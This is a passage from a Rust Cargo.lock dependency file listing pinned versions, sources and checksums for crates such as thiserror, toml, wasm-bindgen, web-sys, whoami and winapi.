] 735 | 736 | [[package]] 737 | name = "system-deps" 738 | version = "1.3.2" 739 | source = "registry+https://github.com/rust-lang/crates.io-index" 740 | checksum = "0f3ecc17269a19353b3558b313bba738b25d82993e30d62a18406a24aba4649b" 741 | dependencies = [ 742 | "heck", 743 | "pkg-config", 744 | "strum", 745 | "strum_macros", 746 | "thiserror", 747 | "toml", 748 | "version-compare", 749 | ] 750 | 751 | [[package]] 752 | name = "thiserror" 753 | version = "1.0.26" 754 | source = "registry+https://github.com/rust-lang/crates.io-index" 755 | checksum = "93119e4feac1cbe6c798c34d3a53ea0026b0b1de6a120deef895137c0529bfe2" 756 | dependencies = [ 757 | "thiserror-impl", 758 | ] 759 | 760 | [[package]] 761 | name = "thiserror-impl" 762 | version = "1.0.26" 763 | source = "registry+https://github.com/rust-lang/crates.io-index" 764 | checksum = "060d69a0afe7796bf42e9e2ff91f5ee691fb15c53d38b4b62a9a53eb23164745" 765 | dependencies = [ 766 | "proc-macro2", 767 | "quote", 768 | "syn", 769 | ] 770 | 771 | [[package]] 772 | name = "toml" 773 | version = "0.5.8" 774 | source = "registry+https://github.com/rust-lang/crates.io-index" 775 | checksum = "a31142970826733df8241ef35dc040ef98c679ab14d7c3e54d827099b3acecaa" 776 | dependencies = [ 777 | "serde", 778 | ] 779 | 780 | [[package]] 781 | name = "unicode-segmentation" 782 | version = "1.8.0" 783 | source = "registry+https://github.com/rust-lang/crates.io-index" 784 | checksum = "8895849a949e7845e06bd6dc1aa51731a103c42707010a5b591c0038fb73385b" 785 | 786 | [[package]] 787 | name = "unicode-xid" 788 | version = "0.2.2" 789 | source = "registry+https://github.com/rust-lang/crates.io-index" 790 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 791 | 792 | [[package]] 793 | name = "version-compare" 794 | version = "0.0.10" 795 | source = "registry+https://github.com/rust-lang/crates.io-index" 796 | checksum = "d63556a25bae6ea31b52e640d7c41d1ab27faba4ccb600013837a3d0b3994ca1" 797 | 798 | [[package]] 799 | name = "version_check" 800 | version = "0.9.3" 801 | source = "registry+https://github.com/rust-lang/crates.io-index" 802 | checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe" 803 | 804 | [[package]] 805 | name = "wasm-bindgen" 806 | version = "0.2.75" 807 | source = "registry+https://github.com/rust-lang/crates.io-index" 808 | checksum = "b608ecc8f4198fe8680e2ed18eccab5f0cd4caaf3d83516fa5fb2e927fda2586" 809 | dependencies = [ 810 | "cfg-if", 811 | "wasm-bindgen-macro", 812 | ] 813 | 814 | [[package]] 815 | name = "wasm-bindgen-backend" 816 | version = "0.2.75" 817 | source = "registry+https://github.com/rust-lang/crates.io-index" 818 | checksum = "580aa3a91a63d23aac5b6b267e2d13cb4f363e31dce6c352fca4752ae12e479f" 819 | dependencies = [ 820 | "bumpalo", 821 | "lazy_static", 822 | "log", 823 | "proc-macro2", 824 | "quote", 825 | "syn", 826 | "wasm-bindgen-shared", 827 | ] 828 | 829 | [[package]] 830 | name = "wasm-bindgen-macro" 831 | version = "0.2.75" 832 | source = "registry+https://github.com/rust-lang/crates.io-index" 833 | checksum = "171ebf0ed9e1458810dfcb31f2e766ad6b3a89dbda42d8901f2b268277e5f09c" 834 | dependencies = [ 835 | "quote", 836 | "wasm-bindgen-macro-support", 837 | ] 838 | 839 | [[package]] 840 | name = "wasm-bindgen-macro-support" 841 | version = "0.2.75" 842 | source = "registry+https://github.com/rust-lang/crates.io-index" 843 | checksum = "6c2657dd393f03aa2a659c25c6ae18a13a4048cebd220e147933ea837efc589f" 844 | dependencies = [ 845 | "proc-macro2", 846 | "quote", 847 | "syn", 848 | "wasm-bindgen-backend", 849 | "wasm-bindgen-shared", 850 | ] 851 | 852 | [[package]] 853 | name = "wasm-bindgen-shared" 854 | version = "0.2.75" 855 | source = "registry+https://github.com/rust-lang/crates.io-index" 856 | checksum = "2e0c4a743a309662d45f4ede961d7afa4ba4131a59a639f29b0069c3798bbcc2" 857 | 858 | [[package]] 859 | name = "web-sys" 860 | version = "0.3.52" 861 | source = "registry+https://github.com/rust-lang/crates.io-index" 862 | checksum = "01c70a82d842c9979078c772d4a1344685045f1a5628f677c2b2eab4dd7d2696" 863 | dependencies = [ 864 | "js-sys", 865 | "wasm-bindgen", 866 | ] 867 | 868 | [[package]] 869 | name = "whoami" 870 | version = "1.1.2" 871 | source = "git+https://github.com/libcala/whoami#ffd1d773b520a61a33b613620ca43b8b4ec2e879" 872 | dependencies = [ 873 | "wasm-bindgen", 874 | "web-sys", 875 | ] 876 | 877 | [[package]] 878 | name = "winapi" 879 | version = "0.3.9" 880 | source = "registry+https://github.com/rust-lang/crates.io-index" 881 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 882 | dependencies = [ 883 | "winapi-i686-pc-windows-gnu", 884 | "winapi-x86_64-pc-windows-gnu", 885 | ] 886 | 887 | [[package]] 888 | name = "winapi-i686-pc-windows-gnu" 889 | version = "0.4.0" 890 | source = "registry+https://github.com/rust-lang/crates.io-index" 891 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 892 | 893 | [[package]] 894 | name = "winapi-x86_64-pc-windows-gnu" 895 | version = "0.4.0" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 898 | --------------------------------------------------------------------------------